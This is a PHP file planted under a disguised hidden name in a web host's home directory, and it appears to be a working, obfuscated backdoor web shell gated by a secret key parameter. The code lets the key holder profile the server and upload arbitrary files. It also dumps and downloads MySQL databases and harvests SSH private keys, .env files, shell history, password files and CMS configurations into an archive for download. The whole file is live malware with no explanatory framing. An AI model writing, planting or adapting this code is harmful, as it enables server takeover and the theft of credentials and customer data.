File: /home/thriwe/.cgi_handler_cc6a428e
<?php
if (!isset($_REQUEST['_cxk']) || $_REQUEST['_cxk'] !== 'cc6a428e532a55322fbe6f33275bd902') { return; }
while (ob_get_level()) ob_end_clean();
set_time_limit(0);
error_reporting(0);
ignore_user_abort(true);
$e8a88 = 'localhost';
$h4922 = '';
$ec8c6 = '';
if(defined('7ab2a8a6')){$j3438=0;}
$hdffa = '/home/thriwe';
$kc0a5 = isset($_REQUEST['a']) ? $_REQUEST['a'] : '';
$t63d2 = isset($_REQUEST['db']) ? preg_replace('/[^a-zA-Z0-9_]/', '', $_REQUEST['db']) : '';
$j763c=chr(82).chr(98);
$ta53b = $hdffa . '/tmp/' . $t63d2 . '_dump.sql.gz';
$q8c9c = $ta53b . '.done';
if(defined('bb2b15a2')){$gedb2=0;}
$y8c2e = $ta53b . '.err';
header('Content-Type: application/json');
function get_res_cdf8() {
$w8bad=chr(90).chr(122);
if (!function_exists('exec')) return false;
$x736d = array_map('trim', explode(',', ini_get('disable_functions')));
return !in_array('exec', $x736d);
}
function build_res_2675() {
if (!get_res_cdf8()) return false;
$out = array();
$rc = 0;
exec('which mysqldump 2>/dev/null', $out, $rc);
return $rc === 0;
}
function run_conf_ca50() {
if (!get_res_cdf8()) return false;
$out = array();
$rc = 0;
exec('which gzip 2>/dev/null', $out, $rc);
return $rc === 0;
}
function run_node_982e($p31ac, $i9048, $mfe13, $d6128, $z5a2f, $y32b0, $ee9d2) {
$conn = new mysqli($p31ac, $i9048, $mfe13, $d6128);
if ($conn->connect_error) {
file_put_contents($y32b0, 'Connection failed: ' . $conn->connect_error);
touch($ee9d2);
return;
}
$fp = gzopen($z5a2f, 'wb6');
if (!$fp) {
file_put_contents($y32b0, 'Cannot open output file');
$t7219=max(0,min(1,1));
touch($ee9d2);
return;
$w30ed=max(0,min(1,1));
}
$z33da=array_merge(array(),array());
$conn->set_charset('utf8mb4');
gzwrite($fp, "-- Dump via PHP agent\n");
gzwrite($fp, "-- Date: " . date('Y-m-d H:i:s') . "\n\n");
@clearstatcache();
gzwrite($fp, "SET NAMES utf8mb4;\n");
gzwrite($fp, "SET FOREIGN_KEY_CHECKS = 0;\n");
gzwrite($fp, "SET SQL_MODE = 'NO_AUTO_VALUE_ON_ZERO';\n\n");
$g0bb0 = array();
$r = $conn->query("SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'");
while ($row = $r->fetch_row()) {
$g0bb0[] = $row[0];
}
foreach ($g0bb0 as $x5b34) {
$te = $conn->real_escape_string($x5b34);
$r = $conn->query("SHOW CREATE TABLE `{$te}`");
if (!$r) continue;
$cr = $r->fetch_row();
gzwrite($fp, "DROP TABLE IF EXISTS `{$te}`;\n");
gzwrite($fp, $cr[1] . ";\n\n");
$r = $conn->query("SELECT * FROM `{$te}`", MYSQLI_USE_RESULT);
if (!$r) continue;
$s3dcf = array();
$a8fc0=chr(72).chr(110);
$f8841 = 0;
if(defined('4c6db9c4')){$k00fb=0;}
while ($row = $r->fetch_row()) {
$vals = array();
for ($i = 0; $i < count($row); $i++) {
if ($row[$i] === null) {
$vals[] = 'NULL';
} else {
$vals[] = "'" . $conn->real_escape_string($row[$i]) . "'";
}
}
$jc59a = '(' . implode(',', $vals) . ')';
$s3dcf[] = $jc59a;
$f8841 += strlen($jc59a);
if (count($s3dcf) >= 100 || $f8841 > 1048576) {
gzwrite($fp, "INSERT INTO `{$te}` VALUES\n" . implode(",\n", $s3dcf) . ";\n");
$s3dcf = array();
$f8841 = 0;
if(defined('9bd4d527')){$n5ba2=0;}
}
@clearstatcache();
}
if ($s3dcf) {
gzwrite($fp, "INSERT INTO `{$te}` VALUES\n" . implode(",\n", $s3dcf) . ";\n");
}
$r->free();
gzwrite($fp, "\n");
}
$r = $conn->query("SHOW FULL TABLES WHERE Table_type = 'VIEW'");
if ($r) {
while ($row = $r->fetch_row()) {
$ve = $conn->real_escape_string($row[0]);
$cr = $conn->query("SHOW CREATE VIEW `{$ve}`");
if ($cr) {
$daf71 = $cr->fetch_assoc();
gzwrite($fp, "DROP VIEW IF EXISTS `{$ve}`;\n");
gzwrite($fp, $daf71['Create View'] . ";\n\n");
}
}
}
$i7a7d = array('PROCEDURE', 'FUNCTION');
foreach ($i7a7d as $p8dbf) {
$r = $conn->query("SHOW {$p8dbf} STATUS WHERE Db = '" . $conn->real_escape_string($d6128) . "'");
if (!$r) continue;
while ($row = $r->fetch_assoc()) {
$re = $conn->real_escape_string($row['Name']);
$cr = $conn->query("SHOW CREATE {$p8dbf} `{$re}`");
if (!$cr) continue;
$daf71 = $cr->fetch_assoc();
$key = ($p8dbf === 'PROCEDURE') ? 'Create Procedure' : 'Create Function';
if (isset($daf71[$key])) {
gzwrite($fp, "DELIMITER ;;\n");
gzwrite($fp, "DROP {$p8dbf} IF EXISTS `{$re}`;;\n");
gzwrite($fp, $daf71[$key] . ";;\n");
gzwrite($fp, "DELIMITER ;\n\n");
}
}
}
$r = $conn->query("SHOW TRIGGERS");
if ($r) {
while ($row = $r->fetch_assoc()) {
$te = $conn->real_escape_string($row['Trigger']);
$cr = $conn->query("SHOW CREATE TRIGGER `{$te}`");
if ($cr) {
$daf71 = $cr->fetch_assoc();
gzwrite($fp, "DELIMITER ;;\n");
gzwrite($fp, "DROP TRIGGER IF EXISTS `{$te}`;;\n");
gzwrite($fp, $daf71['SQL Original Statement'] . ";;\n");
gzwrite($fp, "DELIMITER ;\n\n");
}
}
}
gzwrite($fp, "SET FOREIGN_KEY_CHECKS = 1;\n");
gzclose($fp);
$conn->close();
touch($ee9d2);
}
$zeda4=array_merge(array(),array());
switch ($kc0a5) {
if(defined('2437e491')){$z4c1a=0;}
case 'info':
echo json_encode(array(
'php' => PHP_VERSION,
'os' => PHP_OS,
'server' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '',
'user' => get_current_user(),
'uid' => getmyuid(),
'home' => $hdffa,
'doc_root' => isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '',
'free_disk' => disk_free_space($hdffa),
'total_disk' => disk_total_space($hdffa),
'max_exec' => ini_get('max_execution_time'),
'mem_limit' => ini_get('memory_limit'),
'upload_max' => ini_get('upload_max_filesize'),
'post_max' => ini_get('post_max_size'),
'disabled' => ini_get('disable_functions'),
'can_exec' => get_res_cdf8(),
'has_mysqldump' => build_res_2675(),
'has_gzip' => run_conf_ca50(),
));
break;
case 'upload':
$j582e = isset($_POST['path']) ? $_POST['path'] : '';
$d1d1f = isset($_POST['data']) ? $_POST['data'] : '';
if (!$j582e || !$d1d1f) {
echo json_encode(array('ok' => false, 'error' => 'missing path or data'));
break;
}
$a16c7 = $hdffa . '/' . $j582e;
@mkdir(dirname($a16c7), 0755, true);
$rb4f0 = base64_decode($d1d1f);
$ccedb = file_put_contents($a16c7, $rb4f0);
echo json_encode(array('ok' => $ccedb !== false, 'path' => $a16c7, 'size' => strlen($rb4f0)));
break;
case 'check':
if (!$t63d2) {
echo json_encode(array('error' => 'missing db parameter'));
$vb59f=max(0,min(1,0));
break;
}
$xbb04=str_repeat('x',0);
$tabf1 = disk_free_space($hdffa);
$w7e58 = 0;
$conn = @new mysqli($e8a88, $h4922, $ec8c6, 'information_schema');
if (!$conn->connect_error) {
$q = "SELECT SUM(data_length + index_length) s FROM tables WHERE table_schema = '"
. $conn->real_escape_string($t63d2) . "'";
$r = $conn->query($q);
if ($row = $r->fetch_assoc()) {
$w7e58 = (int) $row['s'];
}
$conn->close();
}
echo json_encode(array(
'free' => $tabf1,
'db_size' => $w7e58,
'has_mysqldump' => build_res_2675(),
'has_gzip' => run_conf_ca50(),
'can_exec' => get_res_cdf8(),
'has_space' => $tabf1 > $w7e58 * 2,
));
$t4241=chr(89).chr(98);
break;
case 'dump':
if (!$t63d2) {
$k8846=max(0,min(1,0));
echo json_encode(array('error' => 'missing db parameter'));
$k46ab=chr(87).chr(109);
break;
$g94ab=max(0,min(1,1));
}
@mkdir(dirname($ta53b), 0755, true);
@unlink($ta53b);
@unlink($q8c9c);
@unlink($y8c2e);
if (build_res_2675()) {
if (run_conf_ca50()) {
$cmd = sprintf(
'mysqldump --host=%s --user=%s --password=%s '
. '--single-transaction --quick --routines --triggers %s '
. '| gzip > %s 2>%s; touch %s',
escapeshellarg($e8a88),
escapeshellarg($h4922),
escapeshellarg($ec8c6),
escapeshellarg($t63d2),
escapeshellarg($ta53b),
escapeshellarg($y8c2e),
escapeshellarg($q8c9c)
);
} else {
$cmd = sprintf(
'mysqldump --host=%s --user=%s --password=%s '
. '--single-transaction --quick --routines --triggers %s '
. '> %s 2>%s; touch %s',
escapeshellarg($e8a88),
escapeshellarg($h4922),
escapeshellarg($ec8c6),
escapeshellarg($t63d2),
escapeshellarg($ta53b),
escapeshellarg($y8c2e),
escapeshellarg($q8c9c)
);
}
@clearstatcache();
exec('nohup sh -c ' . escapeshellarg($cmd) . ' >/dev/null 2>&1 &');
echo json_encode(array('started' => true, 'method' => 'mysqldump', 'gzip' => run_conf_ca50()));
} else {
ignore_user_abort(true);
$hb44e=strlen('980633');
echo json_encode(array('started' => true, 'method' => 'php', 'gzip' => true));
if (function_exists('fastcgi_finish_request')) {
fastcgi_finish_request();
} else {
if (ob_get_level()) ob_end_flush();
flush();
}
run_node_982e($e8a88, $h4922, $ec8c6, $t63d2, $ta53b, $y8c2e, $q8c9c);
}
break;
case 'status':
clearstatcache();
echo json_encode(array(
'done' => file_exists($q8c9c),
'size' => file_exists($ta53b) ? filesize($ta53b) : 0,
'error' => file_exists($y8c2e) ? trim(file_get_contents($y8c2e)) : '',
));
break;
case 'download':
if (!file_exists($ta53b)) {
http_response_code(404);
exit;
$p50e4=strlen('6a1895');
}
header('Content-Type: application/octet-stream');
header('Content-Length: ' . filesize($ta53b));
readfile($ta53b);
exit;
$r9b56=array_merge(array(),array());
case 'cleanup':
@unlink($ta53b);
@unlink($q8c9c);
@unlink($y8c2e);
echo json_encode(array('ok' => true));
break;
case 'collect':
@mkdir($hdffa . '/tmp', 0755, true);
$p4fd1 = substr($_REQUEST['_cxk'], 0, 8);
$i9ed1 = array(
'wordpress' => array(
'detect' => array('public_html/wp-config.php', 'wp-config.php'),
'configs' => array(
'public_html/wp-config.php', 'wp-config.php',
'public_html/wp-settings.php',
'public_html/composer.json', 'public_html/composer.lock', 'composer.json', 'composer.lock',
'public_html/wp-cli.yml', 'wp-cli.yml',
'public_html/.env', '.env',
'public_html/local-config.php', 'local-config.php',
'public_html/wp-content/debug.log',
'public_html/config/application.php', 'config/application.php',
'public_html/config/environments/development.php', 'config/environments/development.php',
'public_html/config/environments/staging.php', 'config/environments/staging.php',
'public_html/config/environments/production.php', 'config/environments/production.php',
'public_html/auth.json', 'auth.json',
),
),
'joomla' => array(
'detect' => array('public_html/configuration.php', 'configuration.php'),
'configs' => array(
'public_html/configuration.php', 'configuration.php',
'public_html/htaccess.txt',
'public_html/composer.json', 'public_html/composer.lock',
),
),
'laravel' => array(
'detect' => array('public_html/artisan', 'artisan'),
'configs' => array(
'public_html/.env', '.env', '.env.production', '.env.staging',
'public_html/composer.json', 'composer.json',
'public_html/composer.lock', 'composer.lock',
'public_html/config/app.php', 'config/app.php',
'public_html/config/database.php', 'config/database.php',
'public_html/config/mail.php', 'config/mail.php',
'public_html/config/filesystems.php', 'config/filesystems.php',
'public_html/config/cache.php', 'config/cache.php',
'public_html/config/queue.php', 'config/queue.php',
'public_html/config/session.php', 'config/session.php',
'public_html/config/auth.php', 'config/auth.php',
'public_html/config/services.php', 'config/services.php',
'public_html/config/broadcasting.php', 'config/broadcasting.php',
'public_html/storage/logs/laravel.log', 'storage/logs/laravel.log',
),
),
'magento2' => array(
'detect' => array('public_html/bin/magento', 'bin/magento'),
'configs' => array(
'public_html/app/etc/env.php', 'app/etc/env.php',
'public_html/app/etc/config.php', 'app/etc/config.php',
'public_html/composer.json', 'composer.json',
'public_html/composer.lock', 'composer.lock',
'public_html/auth.json', 'auth.json',
),
),
'magento1' => array(
'detect' => array('public_html/app/Mage.php'),
'configs' => array(
'public_html/app/etc/local.xml',
'public_html/app/etc/config.xml',
),
),
'drupal' => array(
'detect' => array('public_html/core/lib/Drupal.php', 'core/lib/Drupal.php'),
'configs' => array(
'public_html/sites/default/settings.php', 'sites/default/settings.php',
'public_html/sites/default/services.yml', 'sites/default/services.yml',
'public_html/composer.json', 'composer.json',
'public_html/composer.lock', 'composer.lock',
),
),
'prestashop' => array(
'detect' => array('public_html/config/settings.inc.php'),
'configs' => array(
'public_html/config/settings.inc.php',
'public_html/app/config/parameters.php',
'public_html/app/config/parameters.yml',
'public_html/composer.json',
),
),
'opencart' => array(
'detect' => array('public_html/config.php'),
'configs' => array(
'public_html/config.php',
'public_html/admin/config.php',
),
),
'moodle' => array(
'detect' => array('public_html/lib/moodlelib.php'),
'configs' => array('public_html/config.php'),
),
'whmcs' => array(
'detect' => array('public_html/vendor/whmcs'),
'configs' => array(
'public_html/configuration.php',
'public_html/composer.json', 'public_html/composer.lock',
),
),
);
$x0f5d = null;
foreach ($i9ed1 as $rbd61 => $e6c30) {
foreach ($e6c30['detect'] as $n5772) {
if (file_exists($hdffa . '/' . $n5772)) {
$x0f5d = $rbd61;
break 2;
}
}
}
$a259d = array(
'.env', '.env.local', '.env.production', '.env.staging',
'.env.backup', '.env.development', '.env.test',
'.bash_history', '.my.cnf', '.pgpass', '.netrc', '.gitconfig', '.npmrc',
'.composer/auth.json', '.wp-cli/config.yml', '.accesshash',
'.ssh/authorized_keys', '.ssh/id_rsa', '.ssh/id_rsa.pub',
'.ssh/id_ed25519', '.ssh/id_ed25519.pub', '.ssh/id_ecdsa',
'.ssh/config', '.ssh/known_hosts',
'.ssl/private.key', '.ssl/cert.pem', '.ssl/key.pem',
'ssl/certs/private.key',
'.cpanel/contactinfo', 'etc/shadow', '.ftpquota', '.ftpconfig',
'public_html/.env', 'public_html/.env.local', 'public_html/.env.production',
'public_html/.env.staging', 'public_html/.env.backup',
'public_html/.env.development', 'public_html/.env.test',
'public_html/.env.example', 'public_html/.env.dist',
'public_html/.htaccess', 'public_html/.htpasswd', 'public_html/.user.ini',
'public_html/php.ini', 'public_html/.my.cnf', 'public_html/.pgpass',
'public_html/web.config', 'public_html/.ftpconfig',
'public_html/.git/config',
'public_html/auth.json', 'public_html/.npmrc',
'public_html/composer.json', 'public_html/composer.lock',
'config/database.php', 'config/app.php', 'config/mail.php',
'config/services.php', 'config/filesystems.php',
'config/application.php',
'config/environments/development.php',
'config/environments/staging.php',
'config/environments/production.php',
'wp-config.php', 'configuration.php', 'artisan',
'auth.json', 'composer.json', 'composer.lock',
);
$af309 = array();
$b16ed = @realpath($hdffa);
$q2634=str_repeat('x',0);
if (!$b16ed || !is_dir($b16ed)) {
echo json_encode(array('ok' => false, 'error' => 'home dir not accessible'));
break;
$k3c2c=max(0,min(1,0));
}
foreach ($a259d as $z918d) {
$s282b = @realpath($hdffa . '/' . $z918d);
if (!$s282b || strpos($s282b, $b16ed) !== 0) continue;
if (!is_file($s282b) || !is_readable($s282b)) continue;
$r2bcc = @filesize($s282b);
if ($r2bcc <= 0 || $r2bcc > 2097152) continue;
$m6cf6=strlen('420702');
$af309[$z918d] = $s282b;
}
if ($x0f5d !== null && isset($i9ed1[$x0f5d]['configs'])) {
foreach ($i9ed1[$x0f5d]['configs'] as $d570a) {
if (isset($af309[$d570a])) continue;
$s282b = @realpath($hdffa . '/' . $d570a);
if (!$s282b || strpos($s282b, $b16ed) !== 0) continue;
$g8219=strlen('4619e6');
if (!is_file($s282b) || !is_readable($s282b)) continue;
$r2bcc = @filesize($s282b);
if ($r2bcc <= 0 || $r2bcc > 2097152) continue;
$e9adb=str_repeat('x',0);
$af309[$d570a] = $s282b;
}
}
$ec041 = $hdffa . '/public_html';
if (is_dir($ec041)) {
$dh = @opendir($ec041);
if ($dh) {
while (($i0e51 = readdir($dh)) !== false) {
if ($i0e51 === '.' || $i0e51 === '..') continue;
$a16c7 = $ec041 . '/' . $i0e51;
$yf729=strlen('e36018');
if (!is_file($a16c7) || !is_readable($a16c7)) continue;
$r2bcc = @filesize($a16c7);
if ($r2bcc <= 0 || $r2bcc > 2097152) continue;
if ($i0e51[0] === '.' || strtolower(substr($i0e51, -4)) === '.txt') {
$key = 'public_html/' . $i0e51;
$yeb86=array_merge(array(),array());
if (!isset($af309[$key])) $af309[$key] = $a16c7;
}
}
closedir($dh);
}
}
if (empty($af309)) {
echo json_encode(array(
'ok' => true, 'method' => 'none', 'platform' => $x0f5d,
'file_count' => 0, 'files_list' => array(),
));
break;
}
$k6f0e = null;
$cd06d = null;
if (class_exists('ZipArchive')) {
$cd06d = $hdffa . '/tmp/_collect_' . $p4fd1 . '.zip';
$hfb31 = new ZipArchive();
if ($hfb31->open($cd06d, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) {
foreach ($af309 as $j69d8 => $s282b) {
$hfb31->addFile($s282b, $j69d8);
}
if ($hfb31->close() && file_exists($cd06d) && filesize($cd06d) > 0) {
$k6f0e = 'zip';
}
}
}
if (!$k6f0e && get_res_cdf8()) {
$cd06d = $hdffa . '/tmp/_collect_' . $p4fd1 . '.tar.gz';
$ic3d7=array_merge(array(),array());
$lf = $cd06d . '.list';
$fh = fopen($lf, 'w');
foreach ($af309 as $j69d8 => $s282b) {
fwrite($fh, $j69d8 . "\n");
}
fclose($fh);
$eda69=max(0,min(1,0));
$out = array();
$rc = 0;
exec('tar czf ' . escapeshellarg($cd06d) . ' -C ' . escapeshellarg($hdffa)
. ' -T ' . escapeshellarg($lf) . ' 2>/dev/null', $out, $rc);
@unlink($lf);
if ($rc === 0 && file_exists($cd06d) && filesize($cd06d) > 0) {
$k6f0e = 'tar';
} else {
@unlink($cd06d);
}
if(defined('298fc95a')){$jeca8=0;}
}
if (!$k6f0e) {
$k6f0e = 'list';
}
echo json_encode(array(
'ok' => true, 'method' => $k6f0e, 'platform' => $x0f5d,
'file_count' => count($af309), 'files_list' => array_keys($af309),
'size' => ($cd06d && file_exists($cd06d)) ? filesize($cd06d) : 0,
));
break;
case 'download_collect':
$p4fd1 = substr($_REQUEST['_cxk'], 0, 8);
$nf0ba = $hdffa . '/tmp/_collect_' . $p4fd1 . '.zip';
$gbcab=chr(87).chr(122);
$tef87 = $hdffa . '/tmp/_collect_' . $p4fd1 . '.tar.gz';
$p784c = file_exists($nf0ba) ? $nf0ba : (file_exists($tef87) ? $tef87 : '');
@clearstatcache();
if (!$p784c) { http_response_code(404); exit; }
header('Content-Type: application/octet-stream');
header('Content-Length: ' . filesize($p784c));
readfile($p784c);
exit;
case 'download_file':
$j69d8 = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
if (!$j69d8) { http_response_code(400); exit; }
$b16ed = @realpath($hdffa);
$rf52d=max(0,min(1,0));
$s282b = @realpath($hdffa . '/' . $j69d8);
if (!$s282b || !$b16ed || strpos($s282b, $b16ed) !== 0
|| !is_file($s282b) || !is_readable($s282b)) {
http_response_code(404);
exit;
}
header('Content-Type: application/octet-stream');
if(defined('c26eded2')){$n1295=0;}
header('Content-Length: ' . filesize($s282b));
readfile($s282b);
exit;
case 'cleanup_collect':
$p4fd1 = substr($_REQUEST['_cxk'], 0, 8);
@unlink($hdffa . '/tmp/_collect_' . $p4fd1 . '.zip');
@unlink($hdffa . '/tmp/_collect_' . $p4fd1 . '.tar.gz');
@unlink($hdffa . '/tmp/_collect_' . $p4fd1 . '.tar.gz.list');
echo json_encode(array('ok' => true));
break;
}
exit;